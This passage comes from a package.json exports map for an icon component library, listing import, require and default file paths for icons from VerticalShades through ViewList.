\"require\": \"./VerticalShades.js\",\n      \"default\": \"./VerticalShades.mjs\"\n    },\n    \"./VerticalShadesClosed\": {\n      \"import\": \"./VerticalShadesClosed.mjs\",\n      \"require\": \"./VerticalShadesClosed.js\",\n      \"default\": \"./VerticalShadesClosed.mjs\"\n    },\n    \"./VerticalShadesClosedOutlined\": {\n      \"import\": \"./VerticalShadesClosedOutlined.mjs\",\n      \"require\": \"./VerticalShadesClosedOutlined.js\",\n      \"default\": \"./VerticalShadesClosedOutlined.mjs\"\n    },\n    \"./VerticalShadesClosedRounded\": {\n      \"import\": \"./VerticalShadesClosedRounded.mjs\",\n      \"require\": \"./VerticalShadesClosedRounded.js\",\n      \"default\": \"./VerticalShadesClosedRounded.mjs\"\n    },\n    \"./VerticalShadesClosedSharp\": {\n      \"import\": \"./VerticalShadesClosedSharp.mjs\",\n      \"require\": \"./VerticalShadesClosedSharp.js\",\n      \"default\": \"./VerticalShadesClosedSharp.mjs\"\n    },\n    \"./VerticalShadesClosedTwoTone\": {\n      \"import\": \"./VerticalShadesClosedTwoTone.mjs\",\n      \"require\": \"./VerticalShadesClosedTwoTone.js\",\n      \"default\": \"./VerticalShadesClosedTwoTone.mjs\"\n    },\n    \"./VerticalShadesOutlined\": {\n      \"import\": \"./VerticalShadesOutlined.mjs\",\n      \"require\": \"./VerticalShadesOutlined.js\",\n      \"default\": \"./VerticalShadesOutlined.mjs\"\n    },\n    \"./VerticalShadesRounded\": {\n      \"import\": \"./VerticalShadesRounded.mjs\",\n      \"require\": \"./VerticalShadesRounded.js\",\n      \"default\": \"./VerticalShadesRounded.mjs\"\n    },\n    \"./VerticalShadesSharp\": {\n      \"import\": \"./VerticalShadesSharp.mjs\",\n      \"require\": \"./VerticalShadesSharp.js\",\n      \"default\": \"./VerticalShadesSharp.mjs\"\n    },\n    \"./VerticalShadesTwoTone\": {\n      \"import\": \"./VerticalShadesTwoTone.mjs\",\n      \"require\": \"./VerticalShadesTwoTone.js\",\n      \"default\": \"./VerticalShadesTwoTone.mjs\"\n    },\n    \"./VerticalSplit\": {\n      \"import\": \"./VerticalSplit.mjs\",\n      \"require\": \"./VerticalSplit.js\",\n      \"default\": \"./VerticalSplit.mjs\"\n    },\n    \"./VerticalSplitOutlined\": {\n      \"import\": \"./VerticalSplitOutlined.mjs\",\n      \"require\": \"./VerticalSplitOutlined.js\",\n      \"default\": \"./VerticalSplitOutlined.mjs\"\n    },\n    \"./VerticalSplitRounded\": {\n      \"import\": \"./VerticalSplitRounded.mjs\",\n      \"require\": \"./VerticalSplitRounded.js\",\n      \"default\": \"./VerticalSplitRounded.mjs\"\n    },\n    \"./VerticalSplitSharp\": {\n      \"import\": \"./VerticalSplitSharp.mjs\",\n      \"require\": \"./VerticalSplitSharp.js\",\n      \"default\": \"./VerticalSplitSharp.mjs\"\n    },\n    \"./VerticalSplitTwoTone\": {\n      \"import\": \"./VerticalSplitTwoTone.mjs\",\n      \"require\": \"./VerticalSplitTwoTone.js\",\n      \"default\": \"./VerticalSplitTwoTone.mjs\"\n    },\n    \"./Vibration\": {\n      \"import\": \"./Vibration.mjs\",\n      \"require\": \"./Vibration.js\",\n      \"default\": \"./Vibration.mjs\"\n    },\n    \"./VibrationOutlined\": {\n      \"import\": \"./VibrationOutlined.mjs\",\n      \"require\": \"./VibrationOutlined.js\",\n      \"default\": \"./VibrationOutlined.mjs\"\n    },\n    \"./VibrationRounded\": {\n      \"import\": \"./VibrationRounded.mjs\",\n      \"require\": \"./VibrationRounded.js\",\n      \"default\": \"./VibrationRounded.mjs\"\n    },\n    \"./VibrationSharp\": {\n      \"import\": \"./VibrationSharp.mjs\",\n      \"require\": \"./VibrationSharp.js\",\n      \"default\": \"./VibrationSharp.mjs\"\n    },\n    \"./VibrationTwoTone\": {\n      \"import\": \"./VibrationTwoTone.mjs\",\n      \"require\": \"./VibrationTwoTone.js\",\n      \"default\": \"./VibrationTwoTone.mjs\"\n    },\n    \"./VideoCall\": {\n      \"import\": \"./VideoCall.mjs\",\n      \"require\": \"./VideoCall.js\",\n      \"default\": \"./VideoCall.mjs\"\n    },\n    \"./VideoCallOutlined\": {\n      \"import\": \"./VideoCallOutlined.mjs\",\n      \"require\": \"./VideoCallOutlined.js\",\n      \"default\": \"./VideoCallOutlined.mjs\"\n    },\n    \"./VideoCallRounded\": {\n      \"require\": \"./VideoCallRounded.js\",\n      \"import\": \"./VideoCallRounded.mjs\",\n      \"default\": \"./VideoCallRounded.mjs\"\n    },\n    \"./VideoCallSharp\": {\n      \"require\": \"./VideoCallSharp.js\",\n      \"import\": \"./VideoCallSharp.mjs\",\n      \"default\": \"./VideoCallSharp.mjs\"\n    },\n    \"./VideoCallTwoTone\": {\n      \"require\": \"./VideoCallTwoTone.js\",\n      \"import\": \"./VideoCallTwoTone.mjs\",\n      \"default\": \"./VideoCallTwoTone.mjs\"\n    },\n    \"./VideoCameraBack\": {\n      \"require\": \"./VideoCameraBack.js\",\n      \"import\": \"./VideoCameraBack.mjs\",\n      \"default\": \"./VideoCameraBack.mjs\"\n    },\n    \"./VideoCameraBackOutlined\": {\n      \"require\": \"./VideoCameraBackOutlined.js\",\n      \"import\": \"./VideoCameraBackOutlined.mjs\",\n      \"default\": \"./VideoCameraBackOutlined.mjs\"\n    },\n    \"./VideoCameraBackRounded\": {\n      \"require\": \"./VideoCameraBackRounded.js\",\n      \"import\": \"./VideoCameraBackRounded.mjs\",\n      \"default\": \"./VideoCameraBackRounded.mjs\"\n    },\n    \"./VideoCameraBackSharp\": {\n      \"require\": \"./VideoCameraBackSharp.js\",\n      \"import\": \"./VideoCameraBackSharp.mjs\",\n      \"default\": \"./VideoCameraBackSharp.mjs\"\n    },\n    \"./VideoCameraBackTwoTone\": {\n      \"require\": \"./VideoCameraBackTwoTone.js\",\n      \"import\": \"./VideoCameraBackTwoTone.mjs\",\n      \"default\": \"./VideoCameraBackTwoTone.mjs\"\n    },\n    \"./VideoCameraFront\": {\n      \"require\": \"./VideoCameraFront.js\",\n      \"import\": \"./VideoCameraFront.mjs\",\n      \"default\": \"./VideoCameraFront.mjs\"\n    },\n    \"./VideoCameraFrontOutlined\": {\n      \"require\": \"./VideoCameraFrontOutlined.js\",\n      \"import\": \"./VideoCameraFrontOutlined.mjs\",\n      \"default\": \"./VideoCameraFrontOutlined.mjs\"\n    },\n    \"./VideoCameraFrontRounded\": {\n      \"require\": \"./VideoCameraFrontRounded.js\",\n      \"import\": \"./VideoCameraFrontRounded.mjs\",\n      \"default\": \"./VideoCameraFrontRounded.mjs\"\n    },\n    \"./VideoCameraFrontSharp\": {\n      \"require\": \"./VideoCameraFrontSharp.js\",\n      \"import\": \"./VideoCameraFrontSharp.mjs\",\n      \"default\": \"./VideoCameraFrontSharp.mjs\"\n    },\n    \"./VideoCameraFrontTwoTone\": {\n      \"require\": \"./VideoCameraFrontTwoTone.js\",\n      \"import\": \"./VideoCameraFrontTwoTone.mjs\",\n      \"default\": \"./VideoCameraFrontTwoTone.mjs\"\n    },\n    \"./VideoChat\": {\n      \"require\": \"./VideoChat.js\",\n      \"import\": \"./VideoChat.mjs\",\n      \"default\": \"./VideoChat.mjs\"\n    },\n    \"./VideoChatOutlined\": {\n      \"require\": \"./VideoChatOutlined.js\",\n      \"import\": \"./VideoChatOutlined.mjs\",\n      \"default\": \"./VideoChatOutlined.mjs\"\n    },\n    \"./VideoChatRounded\": {\n      \"require\": \"./VideoChatRounded.js\",\n      \"import\": \"./VideoChatRounded.mjs\",\n      \"default\": \"./VideoChatRounded.mjs\"\n    },\n    \"./VideoChatSharp\": {\n      \"import\": \"./VideoChatSharp.mjs\",\n      \"require\": \"./VideoChatSharp.js\",\n      \"default\": \"./VideoChatSharp.mjs\"\n    },\n    \"./VideoChatTwoTone\": {\n      \"import\": \"./VideoChatTwoTone.mjs\",\n      \"require\": \"./VideoChatTwoTone.js\",\n      \"default\": \"./VideoChatTwoTone.mjs\"\n    },\n    \"./VideoFile\": {\n      \"import\": \"./VideoFile.mjs\",\n      \"require\": \"./VideoFile.js\",\n      \"default\": \"./VideoFile.mjs\"\n    },\n    \"./VideoFileOutlined\": {\n      \"import\": \"./VideoFileOutlined.mjs\",\n      \"require\": \"./VideoFileOutlined.js\",\n      \"default\": \"./VideoFileOutlined.mjs\"\n    },\n    \"./VideoFileRounded\": {\n      \"import\": \"./VideoFileRounded.mjs\",\n      \"require\": \"./VideoFileRounded.js\",\n      \"default\": \"./VideoFileRounded.mjs\"\n    },\n    \"./VideoFileSharp\": {\n      \"import\": \"./VideoFileSharp.mjs\",\n      \"require\": \"./VideoFileSharp.js\",\n      \"default\": \"./VideoFileSharp.mjs\"\n    },\n    \"./VideoFileTwoTone\": {\n      \"import\": \"./VideoFileTwoTone.mjs\",\n      \"require\": \"./VideoFileTwoTone.js\",\n      \"default\": \"./VideoFileTwoTone.mjs\"\n    },\n    \"./VideoLabel\": {\n      \"import\": \"./VideoLabel.mjs\",\n      \"require\": \"./VideoLabel.js\",\n      \"default\": \"./VideoLabel.mjs\"\n    },\n    \"./VideoLabelOutlined\": {\n      \"import\": \"./VideoLabelOutlined.mjs\",\n      \"require\": \"./VideoLabelOutlined.js\",\n      \"default\": \"./VideoLabelOutlined.mjs\"\n    },\n    \"./VideoLabelRounded\": {\n      \"import\": \"./VideoLabelRounded.mjs\",\n      \"require\": \"./VideoLabelRounded.js\",\n      \"default\": \"./VideoLabelRounded.mjs\"\n    },\n    \"./VideoLabelSharp\": {\n      \"import\": \"./VideoLabelSharp.mjs\",\n      \"require\": \"./VideoLabelSharp.js\",\n      \"default\": \"./VideoLabelSharp.mjs\"\n    },\n    \"./VideoLabelTwoTone\": {\n      \"import\": \"./VideoLabelTwoTone.mjs\",\n      \"require\": \"./VideoLabelTwoTone.js\",\n      \"default\": \"./VideoLabelTwoTone.mjs\"\n    },\n    \"./VideoLibrary\": {\n      \"import\": \"./VideoLibrary.mjs\",\n      \"require\": \"./VideoLibrary.js\",\n      \"default\": \"./VideoLibrary.mjs\"\n    },\n    \"./VideoLibraryOutlined\": {\n      \"require\": \"./VideoLibraryOutlined.js\",\n      \"import\": \"./VideoLibraryOutlined.mjs\",\n      \"default\": \"./VideoLibraryOutlined.mjs\"\n    },\n    \"./VideoLibraryRounded\": {\n      \"require\": \"./VideoLibraryRounded.js\",\n      \"import\": \"./VideoLibraryRounded.mjs\",\n      \"default\": \"./VideoLibraryRounded.mjs\"\n    },\n    \"./VideoLibrarySharp\": {\n      \"require\": \"./VideoLibrarySharp.js\",\n      \"import\": \"./VideoLibrarySharp.mjs\",\n      \"default\": \"./VideoLibrarySharp.mjs\"\n    },\n    \"./VideoLibraryTwoTone\": {\n      \"require\": \"./VideoLibraryTwoTone.js\",\n      \"import\": \"./VideoLibraryTwoTone.mjs\",\n      \"default\": \"./VideoLibraryTwoTone.mjs\"\n    },\n    \"./VideoSettings\": {\n      \"require\": \"./VideoSettings.js\",\n      \"import\": \"./VideoSettings.mjs\",\n      \"default\": \"./VideoSettings.mjs\"\n    },\n    \"./VideoSettingsOutlined\": {\n      \"require\": \"./VideoSettingsOutlined.js\",\n      \"import\": \"./VideoSettingsOutlined.mjs\",\n      \"default\": \"./VideoSettingsOutlined.mjs\"\n    },\n    \"./VideoSettingsRounded\": {\n      \"require\": \"./VideoSettingsRounded.js\",\n      \"import\": \"./VideoSettingsRounded.mjs\",\n      \"default\": \"./VideoSettingsRounded.mjs\"\n    },\n    \"./VideoSettingsSharp\": {\n      \"require\": \"./VideoSettingsSharp.js\",\n      \"import\": \"./VideoSettingsSharp.mjs\",\n      \"default\": \"./VideoSettingsSharp.mjs\"\n    },\n    \"./VideoSettingsTwoTone\": {\n      \"require\": \"./VideoSettingsTwoTone.js\",\n      \"import\": \"./VideoSettingsTwoTone.mjs\",\n      \"default\": \"./VideoSettingsTwoTone.mjs\"\n    },\n    \"./VideoStable\": {\n      \"require\": \"./VideoStable.js\",\n      \"import\": \"./VideoStable.mjs\",\n      \"default\": \"./VideoStable.mjs\"\n    },\n    \"./VideoStableOutlined\": {\n      \"require\": \"./VideoStableOutlined.js\",\n      \"import\": \"./VideoStableOutlined.mjs\",\n      \"default\": \"./VideoStableOutlined.mjs\"\n    },\n    \"./VideoStableRounded\": {\n      \"require\": \"./VideoStableRounded.js\",\n      \"import\": \"./VideoStableRounded.mjs\",\n      \"default\": \"./VideoStableRounded.mjs\"\n    },\n    \"./VideoStableSharp\": {\n      \"require\": \"./VideoStableSharp.js\",\n      \"import\": \"./VideoStableSharp.mjs\",\n      \"default\": \"./VideoStableSharp.mjs\"\n    },\n    \"./VideoStableTwoTone\": {\n      \"require\": \"./VideoStableTwoTone.js\",\n      \"import\": \"./VideoStableTwoTone.mjs\",\n      \"default\": \"./VideoStableTwoTone.mjs\"\n    },\n    \"./Videocam\": {\n      \"require\": \"./Videocam.js\",\n      \"import\": \"./Videocam.mjs\",\n      \"default\": \"./Videocam.mjs\"\n    },\n    \"./VideocamOff\": {\n      \"require\": \"./VideocamOff.js\",\n      \"import\": \"./VideocamOff.mjs\",\n      \"default\": \"./VideocamOff.mjs\"\n    },\n    \"./VideocamOffOutlined\": {\n      \"require\": \"./VideocamOffOutlined.js\",\n      \"import\": \"./VideocamOffOutlined.mjs\",\n      \"default\": \"./VideocamOffOutlined.mjs\"\n    },\n    \"./VideocamOffRounded\": {\n      \"require\": \"./VideocamOffRounded.js\",\n      \"import\": \"./VideocamOffRounded.mjs\",\n      \"default\": \"./VideocamOffRounded.mjs\"\n    },\n    \"./VideocamOffSharp\": {\n      \"require\": \"./VideocamOffSharp.js\",\n      \"import\": \"./VideocamOffSharp.mjs\",\n      \"default\": \"./VideocamOffSharp.mjs\"\n    },\n    \"./VideocamOffTwoTone\": {\n      \"require\": \"./VideocamOffTwoTone.js\",\n      \"import\": \"./VideocamOffTwoTone.mjs\",\n      \"default\": \"./VideocamOffTwoTone.mjs\"\n    },\n    \"./VideocamOutlined\": {\n      \"require\": \"./VideocamOutlined.js\",\n      \"import\": \"./VideocamOutlined.mjs\",\n      \"default\": \"./VideocamOutlined.mjs\"\n    },\n    \"./VideocamRounded\": {\n      \"require\": \"./VideocamRounded.js\",\n      \"import\": \"./VideocamRounded.mjs\",\n      \"default\": \"./VideocamRounded.mjs\"\n    },\n    \"./VideocamSharp\": {\n      \"import\": \"./VideocamSharp.mjs\",\n      \"require\": \"./VideocamSharp.js\",\n      \"default\": \"./VideocamSharp.mjs\"\n    },\n    \"./VideocamTwoTone\": {\n      \"import\": \"./VideocamTwoTone.mjs\",\n      \"require\": \"./VideocamTwoTone.js\",\n      \"default\": \"./VideocamTwoTone.mjs\"\n    },\n    \"./VideogameAsset\": {\n      \"import\": \"./VideogameAsset.mjs\",\n      \"require\": \"./VideogameAsset.js\",\n      \"default\": \"./VideogameAsset.mjs\"\n    },\n    \"./VideogameAssetOff\": {\n      \"import\": \"./VideogameAssetOff.mjs\",\n      \"require\": \"./VideogameAssetOff.js\",\n      \"default\": \"./VideogameAssetOff.mjs\"\n    },\n    \"./VideogameAssetOffOutlined\": {\n      \"import\": \"./VideogameAssetOffOutlined.mjs\",\n      \"require\": \"./VideogameAssetOffOutlined.js\",\n      \"default\": \"./VideogameAssetOffOutlined.mjs\"\n    },\n    \"./VideogameAssetOffRounded\": {\n      \"require\": \"./VideogameAssetOffRounded.js\",\n      \"import\": \"./VideogameAssetOffRounded.mjs\",\n      \"default\": \"./VideogameAssetOffRounded.mjs\"\n    },\n    \"./VideogameAssetOffSharp\": {\n      \"require\": \"./VideogameAssetOffSharp.js\",\n      \"import\": \"./VideogameAssetOffSharp.mjs\",\n      \"default\": \"./VideogameAssetOffSharp.mjs\"\n    },\n    \"./VideogameAssetOffTwoTone\": {\n      \"require\": \"./VideogameAssetOffTwoTone.js\",\n      \"import\": \"./VideogameAssetOffTwoTone.mjs\",\n      \"default\": \"./VideogameAssetOffTwoTone.mjs\"\n    },\n    \"./VideogameAssetOutlined\": {\n      \"require\": \"./VideogameAssetOutlined.js\",\n      \"import\": \"./VideogameAssetOutlined.mjs\",\n      \"default\": \"./VideogameAssetOutlined.mjs\"\n    },\n    \"./VideogameAssetRounded\": {\n      \"require\": \"./VideogameAssetRounded.js\",\n      \"import\": \"./VideogameAssetRounded.mjs\",\n      \"default\": \"./VideogameAssetRounded.mjs\"\n    },\n    \"./VideogameAssetSharp\": {\n      \"require\": \"./VideogameAssetSharp.js\",\n      \"import\": \"./VideogameAssetSharp.mjs\",\n      \"default\": \"./VideogameAssetSharp.mjs\"\n    },\n    \"./VideogameAssetTwoTone\": {\n      \"require\": \"./VideogameAssetTwoTone.js\",\n      \"import\": \"./VideogameAssetTwoTone.mjs\",\n      \"default\": \"./VideogameAssetTwoTone.mjs\"\n    },\n    \"./ViewAgenda\": {\n      \"require\": \"./ViewAgenda.js\",\n      \"import\": \"./ViewAgenda.mjs\",\n      \"default\": \"./ViewAgenda.mjs\"\n    },\n    \"./ViewAgendaOutlined\": {\n      \"require\": \"./ViewAgendaOutlined.js\",\n      \"import\": \"./ViewAgendaOutlined.mjs\",\n      \"default\": \"./ViewAgendaOutlined.mjs\"\n    },\n    \"./ViewAgendaRounded\": {\n      \"require\": \"./ViewAgendaRounded.js\",\n      \"import\": \"./ViewAgendaRounded.mjs\",\n      \"default\": \"./ViewAgendaRounded.mjs\"\n    },\n    \"./ViewAgendaSharp\": {\n      \"require\": \"./ViewAgendaSharp.js\",\n      \"import\": \"./ViewAgendaSharp.mjs\",\n      \"default\": \"./ViewAgendaSharp.mjs\"\n    },\n    \"./ViewAgendaTwoTone\": {\n      \"require\": \"./ViewAgendaTwoTone.js\",\n      \"import\": \"./ViewAgendaTwoTone.mjs\",\n      \"default\": \"./ViewAgendaTwoTone.mjs\"\n    },\n    \"./ViewArray\": {\n      \"require\": \"./ViewArray.js\",\n      \"import\": \"./ViewArray.mjs\",\n      \"default\": \"./ViewArray.mjs\"\n    },\n    \"./ViewArrayOutlined\": {\n      \"require\": \"./ViewArrayOutlined.js\",\n      \"import\": \"./ViewArrayOutlined.mjs\",\n      \"default\": \"./ViewArrayOutlined.mjs\"\n    },\n    \"./ViewArrayRounded\": {\n      \"require\": \"./ViewArrayRounded.js\",\n      \"import\": \"./ViewArrayRounded.mjs\",\n      \"default\": \"./ViewArrayRounded.mjs\"\n    },\n    \"./ViewArraySharp\": {\n      \"require\": \"./ViewArraySharp.js\",\n      \"import\": \"./ViewArraySharp.mjs\",\n      \"default\": \"./ViewArraySharp.mjs\"\n    },\n    \"./ViewArrayTwoTone\": {\n      \"require\": \"./ViewArrayTwoTone.js\",\n      \"import\": \"./ViewArrayTwoTone.mjs\",\n      \"default\": \"./ViewArrayTwoTone.mjs\"\n    },\n    \"./ViewCarousel\": {\n      \"import\": \"./ViewCarousel.mjs\",\n      \"require\": \"./ViewCarousel.js\",\n      \"default\": \"./ViewCarousel.mjs\"\n    },\n    \"./ViewCarouselOutlined\": {\n      \"import\": \"./ViewCarouselOutlined.mjs\",\n      \"require\": \"./ViewCarouselOutlined.js\",\n      \"default\": \"./ViewCarouselOutlined.mjs\"\n    },\n    \"./ViewCarouselRounded\": {\n      \"import\": \"./ViewCarouselRounded.mjs\",\n      \"require\": \"./ViewCarouselRounded.js\",\n      \"default\": \"./ViewCarouselRounded.mjs\"\n    },\n    \"./ViewCarouselSharp\": {\n      \"import\": \"./ViewCarouselSharp.mjs\",\n      \"require\": \"./ViewCarouselSharp.js\",\n      \"default\": \"./ViewCarouselSharp.mjs\"\n    },\n    \"./ViewCarouselTwoTone\": {\n      \"import\": \"./ViewCarouselTwoTone.mjs\",\n      \"require\": \"./ViewCarouselTwoTone.js\",\n      \"default\": \"./ViewCarouselTwoTone.mjs\"\n    },\n    \"./ViewColumn\": {\n      \"import\": \"./ViewColumn.mjs\",\n      \"require\": \"./ViewColumn.js\",\n      \"default\": \"./ViewColumn.mjs\"\n    },\n    \"./ViewColumnOutlined\": {\n      \"import\": \"./ViewColumnOutlined.mjs\",\n      \"require\": \"./ViewColumnOutlined.js\",\n      \"default\": \"./ViewColumnOutlined.mjs\"\n    },\n    \"./ViewColumnRounded\": {\n      \"import\": \"./ViewColumnRounded.mjs\",\n      \"require\": \"./ViewColumnRounded.js\",\n      \"default\": \"./ViewColumnRounded.mjs\"\n    },\n    \"./ViewColumnSharp\": {\n      \"require\": \"./ViewColumnSharp.js\",\n      \"import\": \"./ViewColumnSharp.mjs\",\n      \"default\": \"./ViewColumnSharp.mjs\"\n    },\n    \"./ViewColumnTwoTone\": {\n      \"require\": \"./ViewColumnTwoTone.js\",\n      \"import\": \"./ViewColumnTwoTone.mjs\",\n      \"default\": \"./ViewColumnTwoTone.mjs\"\n    },\n    \"./ViewComfy\": {\n      \"require\": \"./ViewComfy.js\",\n      \"import\": \"./ViewComfy.mjs\",\n      \"default\": \"./ViewComfy.mjs\"\n    },\n    \"./ViewComfyAlt\": {\n      \"require\": \"./ViewComfyAlt.js\",\n      \"import\": \"./ViewComfyAlt.mjs\",\n      \"default\": \"./ViewComfyAlt.mjs\"\n    },\n    \"./ViewComfyAltOutlined\": {\n      \"require\": \"./ViewComfyAltOutlined.js\",\n      \"import\": \"./ViewComfyAltOutlined.mjs\",\n      \"default\": \"./ViewComfyAltOutlined.mjs\"\n    },\n    \"./ViewComfyAltRounded\": {\n      \"require\": \"./ViewComfyAltRounded.js\",\n      \"import\": \"./ViewComfyAltRounded.mjs\",\n      \"default\": \"./ViewComfyAltRounded.mjs\"\n    },\n    \"./ViewComfyAltSharp\": {\n      \"require\": \"./ViewComfyAltSharp.js\",\n      \"import\": \"./ViewComfyAltSharp.mjs\",\n      \"default\": \"./ViewComfyAltSharp.mjs\"\n    },\n    \"./ViewComfyAltTwoTone\": {\n      \"require\": \"./ViewComfyAltTwoTone.js\",\n      \"import\": \"./ViewComfyAltTwoTone.mjs\",\n      \"default\": \"./ViewComfyAltTwoTone.mjs\"\n    },\n    \"./ViewComfyOutlined\": {\n      \"require\": \"./ViewComfyOutlined.js\",\n      \"import\": \"./ViewComfyOutlined.mjs\",\n      \"default\": \"./ViewComfyOutlined.mjs\"\n    },\n    \"./ViewComfyRounded\": {\n      \"require\": \"./ViewComfyRounded.js\",\n      \"import\": \"./ViewComfyRounded.mjs\",\n      \"default\": \"./ViewComfyRounded.mjs\"\n    },\n    \"./ViewComfySharp\": {\n      \"require\": \"./ViewComfySharp.js\",\n      \"import\": \"./ViewComfySharp.mjs\",\n      \"default\": \"./ViewComfySharp.mjs\"\n    },\n    \"./ViewComfyTwoTone\": {\n      \"require\": \"./ViewComfyTwoTone.js\",\n      \"import\": \"./ViewComfyTwoTone.mjs\",\n      \"default\": \"./ViewComfyTwoTone.mjs\"\n    },\n    \"./ViewCompact\": {\n      \"require\": \"./ViewCompact.js\",\n      \"import\": \"./ViewCompact.mjs\",\n      \"default\": \"./ViewCompact.mjs\"\n    },\n    \"./ViewCompactAlt\": {\n      \"require\": \"./ViewCompactAlt.js\",\n      \"import\": \"./ViewCompactAlt.mjs\",\n      \"default\": \"./ViewCompactAlt.mjs\"\n    },\n    \"./ViewCompactAltOutlined\": {\n      \"require\": \"./ViewCompactAltOutlined.js\",\n      \"import\": \"./ViewCompactAltOutlined.mjs\",\n      \"default\": \"./ViewCompactAltOutlined.mjs\"\n    },\n    \"./ViewCompactAltRounded\": {\n      \"require\": \"./ViewCompactAltRounded.js\",\n      \"import\": \"./ViewCompactAltRounded.mjs\",\n      \"default\": \"./ViewCompactAltRounded.mjs\"\n    },\n    \"./ViewCompactAltSharp\": {\n      \"import\": \"./ViewCompactAltSharp.mjs\",\n      \"require\": \"./ViewCompactAltSharp.js\",\n      \"default\": \"./ViewCompactAltSharp.mjs\"\n    },\n    \"./ViewCompactAltTwoTone\": {\n      \"import\": \"./ViewCompactAltTwoTone.mjs\",\n      \"require\": \"./ViewCompactAltTwoTone.js\",\n      \"default\": \"./ViewCompactAltTwoTone.mjs\"\n    },\n    \"./ViewCompactOutlined\": {\n      \"import\": \"./ViewCompactOutlined.mjs\",\n      \"require\": \"./ViewCompactOutlined.js\",\n      \"default\": \"./ViewCompactOutlined.mjs\"\n    },\n    \"./ViewCompactRounded\": {\n      \"import\": \"./ViewCompactRounded.mjs\",\n      \"require\": \"./ViewCompactRounded.js\",\n      \"default\": \"./ViewCompactRounded.mjs\"\n    },\n    \"./ViewCompactSharp\": {\n      \"import\": \"./ViewCompactSharp.mjs\",\n      \"require\": \"./ViewCompactSharp.js\",\n      \"default\": \"./ViewCompactSharp.mjs\"\n    },\n    \"./ViewCompactTwoTone\": {\n      \"import\": \"./ViewCompactTwoTone.mjs\",\n      \"require\": \"./ViewCompactTwoTone.js\",\n      \"default\": \"./ViewCompactTwoTone.mjs\"\n    },\n    \"./ViewCozy\": {\n      \"import\": \"./ViewCozy.mjs\",\n      \"require\": \"./ViewCozy.js\",\n      \"default\": \"./ViewCozy.mjs\"\n    },\n    \"./ViewCozyOutlined\": {\n      \"import\": \"./ViewCozyOutlined.mjs\",\n      \"require\": \"./ViewCozyOutlined.js\",\n      \"default\": \"./ViewCozyOutlined.mjs\"\n    },\n    \"./ViewCozyRounded\": {\n      \"import\": \"./ViewCozyRounded.mjs\",\n      \"require\": \"./ViewCozyRounded.js\",\n      \"default\": \"./ViewCozyRounded.mjs\"\n    },\n    \"./ViewCozySharp\": {\n      \"import\": \"./ViewCozySharp.mjs\",\n      \"require\": \"./ViewCozySharp.js\",\n      \"default\": \"./ViewCozySharp.mjs\"\n    },\n    \"./ViewCozyTwoTone\": {\n      \"import\": \"./ViewCozyTwoTone.mjs\",\n      \"require\": \"./ViewCozyTwoTone.js\",\n      \"default\": \"./ViewCozyTwoTone.mjs\"\n    },\n    \"./ViewDay\": {\n      \"import\": \"./ViewDay.mjs\",\n      \"require\": \"./ViewDay.js\",\n      \"default\": \"./ViewDay.mjs\"\n    },\n    \"./ViewDayOutlined\": {\n      \"import\": \"./ViewDayOutlined.mjs\",\n      \"require\": \"./ViewDayOutlined.js\",\n      \"default\": \"./ViewDayOutlined.mjs\"\n    },\n    \"./ViewDayRounded\": {\n      \"require\": \"./ViewDayRounded.js\",\n      \"import\": \"./ViewDayRounded.mjs\",\n      \"default\": \"./ViewDayRounded.mjs\"\n    },\n    \"./ViewDaySharp\": {\n      \"require\": \"./ViewDaySharp.js\",\n      \"import\": \"./ViewDaySharp.mjs\",\n      \"default\": \"./ViewDaySharp.mjs\"\n    },\n    \"./ViewDayTwoTone\": {\n      \"require\": \"./ViewDayTwoTone.js\",\n      \"import\": \"./ViewDayTwoTone.mjs\",\n      \"default\": \"./ViewDayTwoTone.mjs\"\n    },\n    \"./ViewHeadline\": {\n      \"require\": \"./ViewHeadline.js\",\n      \"import\": \"./ViewHeadline.mjs\",\n      \"default\": \"./ViewHeadline.mjs\"\n    },\n    \"./ViewHeadlineOutlined\": {\n      \"require\": \"./ViewHeadlineOutlined.js\",\n      \"import\": \"./ViewHeadlineOutlined.mjs\",\n      \"default\": \"./ViewHeadlineOutlined.mjs\"\n    },\n    \"./ViewHeadlineRounded\": {\n      \"require\": \"./ViewHeadlineRounded.js\",\n      \"import\": \"./ViewHeadlineRounded.mjs\",\n      \"default\": \"./ViewHeadlineRounded.mjs\"\n    },\n    \"./ViewHeadlineSharp\": {\n      \"require\": \"./ViewHeadlineSharp.js\",\n      \"import\": \"./ViewHeadlineSharp.mjs\",\n      \"default\": \"./ViewHeadlineSharp.mjs\"\n    },\n    \"./ViewHeadlineTwoTone\": {\n      \"require\": \"./ViewHeadlineTwoTone.js\",\n      \"import\": \"./ViewHeadlineTwoTone.mjs\",\n      \"default\": \"./ViewHeadlineTwoTone.mjs\"\n    },\n    \"./ViewInAr\": {\n      \"require\": \"./ViewInAr.js\",\n      \"import\": \"./ViewInAr.mjs\",\n      \"default\": \"./ViewInAr.mjs\"\n    },\n    \"./ViewInArOutlined\": {\n      \"require\": \"./ViewInArOutlined.js\",\n      \"import\": \"./ViewInArOutlined.mjs\",\n      \"default\": \"./ViewInArOutlined.mjs\"\n    },\n    \"./ViewInArRounded\": {\n      \"require\": \"./ViewInArRounded.js\",\n      \"import\": \"./ViewInArRounded.mjs\",\n      \"default\": \"./ViewInArRounded.mjs\"\n    },\n    \"./ViewInArSharp\": {\n      \"require\": \"./ViewInArSharp.js\",\n      \"import\": \"./ViewInArSharp.mjs\",\n      \"default\": \"./ViewInArSharp.mjs\"\n    },\n    \"./ViewInArTwoTone\": {\n      \"require\": \"./ViewInArTwoTone.js\",\n      \"import\": \"./ViewInArTwoTone.mjs\",\n      \"default\": \"./ViewInArTwoTone.mjs\"\n    },\n    \"./ViewKanban\": {\n      \"require\": \"./ViewKanban.js\",\n      \"import\": \"./ViewKanban.mjs\",\n      \"default\": \"./ViewKanban.mjs\"\n    },\n    \"./ViewKanbanOutlined\": {\n      \"require\": \"./ViewKanbanOutlined.js\",\n      \"import\": \"./ViewKanbanOutlined.mjs\",\n      \"default\": \"./ViewKanbanOutlined.mjs\"\n    },\n    \"./ViewKanbanRounded\": {\n      \"require\": \"./ViewKanbanRounded.js\",\n      \"import\": \"./ViewKanbanRounded.mjs\",\n      \"default\": \"./ViewKanbanRounded.mjs\"\n    },\n    \"./ViewKanbanSharp\": {\n      \"require\": \"./ViewKanbanSharp.js\",\n      \"import\": \"./ViewKanbanSharp.mjs\",\n      \"default\": \"./ViewKanbanSharp.mjs\"\n    },\n    \"./ViewKanbanTwoTone\": {\n      \"require\": \"./ViewKanbanTwoTone.js\",\n      \"import\": \"./ViewKanbanTwoTone.mjs\",\n      \"default\": \"./ViewKanbanTwoTone.mjs\"\n    },\n    \"./ViewList\": {\n      \"require\": \"./ViewList.js\",\n      \"import\": 